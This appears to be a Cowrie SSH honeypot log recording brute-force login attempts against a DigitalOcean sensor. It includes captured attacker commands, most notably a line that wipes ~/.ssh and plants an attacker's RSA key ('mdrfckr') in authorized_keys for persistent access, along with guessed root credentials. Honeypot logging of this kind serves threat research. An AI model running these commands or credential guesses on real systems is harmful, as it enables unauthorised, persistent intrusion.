{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:19.371693Z","src_ip":"193.32.162.145","session":"b2d080e4989c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:19.467508Z","src_ip":"193.32.162.145","session":"b2d080e4989c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty123","message":"login attempt [solv/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:19.754088Z","src_ip":"193.32.162.145","session":"b2d080e4989c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:20.850018Z","src_ip":"193.32.162.145","session":"b2d080e4989c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":54432,"dst_ip":"159.203.135.109","dst_port":22,"session":"64a929c0541d","protocol":"ssh","message":"New connection: 27.111.32.174:54432 (159.203.135.109:22) [session: 64a929c0541d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:23.139483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:23.144140Z","src_ip":"27.111.32.174","session":"64a929c0541d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:23.393219Z","src_ip":"27.111.32.174","session":"64a929c0541d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"50eb2adcc1e1","protocol":"ssh","message":"New connection: 195.178.110.218:57032 (159.203.135.109:22) [session: 50eb2adcc1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:23.908727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:23.913008Z","src_ip":"195.178.110.218","session":"50eb2adcc1e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:23.992537Z","src_ip":"195.178.110.218","session":"50eb2adcc1e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:24.230392Z","src_ip":"195.178.110.218","session":"50eb2adcc1e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aman","password":"aman","message":"login attempt [aman/aman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:24.423722Z","src_ip":"27.111.32.174","session":"64a929c0541d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:25.311046Z","src_ip":"195.178.110.218","session":"50eb2adcc1e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:25.674702Z","src_ip":"27.111.32.174","session":"64a929c0541d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":40438,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e43a4b267a2","protocol":"ssh","message":"New connection: 92.99.195.230:40438 (159.203.135.109:22) [session: 8e43a4b267a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:47.649672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:47.654048Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:47.849986Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Cloud@123456","message":"login attempt [root/Cloud@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:48.668760Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.098108Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.101264Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.104737Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.303477Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.724994Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.727497Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.927286Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:49.930652Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":40452,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d8a597a30a1","protocol":"ssh","message":"New connection: 92.99.195.230:40452 (159.203.135.109:22) [session: 9d8a597a30a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:50.116108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:50.120291Z","src_ip":"92.99.195.230","session":"9d8a597a30a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:50.314542Z","src_ip":"92.99.195.230","session":"9d8a597a30a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:51.121161Z","src_ip":"92.99.195.230","session":"9d8a597a30a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:52.315212Z","src_ip":"92.99.195.230","session":"9d8a597a30a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":40466,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8b907037c1b","protocol":"ssh","message":"New connection: 92.99.195.230:40466 (159.203.135.109:22) [session: c8b907037c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:52.517253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:52.521145Z","src_ip":"92.99.195.230","session":"c8b907037c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:52.723880Z","src_ip":"92.99.195.230","session":"c8b907037c1b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:53.568693Z","src_ip":"92.99.195.230","session":"c8b907037c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:53.774606Z","src_ip":"92.99.195.230","session":"8e43a4b267a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:53.778056Z","src_ip":"92.99.195.230","session":"c8b907037c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":38240,"dst_ip":"159.203.135.109","dst_port":22,"session":"07f64e745cec","protocol":"ssh","message":"New connection: 2.57.122.96:38240 (159.203.135.109:22) [session: 07f64e745cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:00.016831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:00.024120Z","src_ip":"2.57.122.96","session":"07f64e745cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:00.139246Z","src_ip":"2.57.122.96","session":"07f64e745cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curved","password":"curved","message":"login attempt [curved/curved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:00.443975Z","src_ip":"2.57.122.96","session":"07f64e745cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:01.545234Z","src_ip":"2.57.122.96","session":"07f64e745cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":58910,"dst_ip":"159.203.135.109","dst_port":22,"session":"39bbeb97f7fc","protocol":"ssh","message":"New connection: 77.90.185.17:58910 (159.203.135.109:22) [session: 39bbeb97f7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:03.213298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:03.220264Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
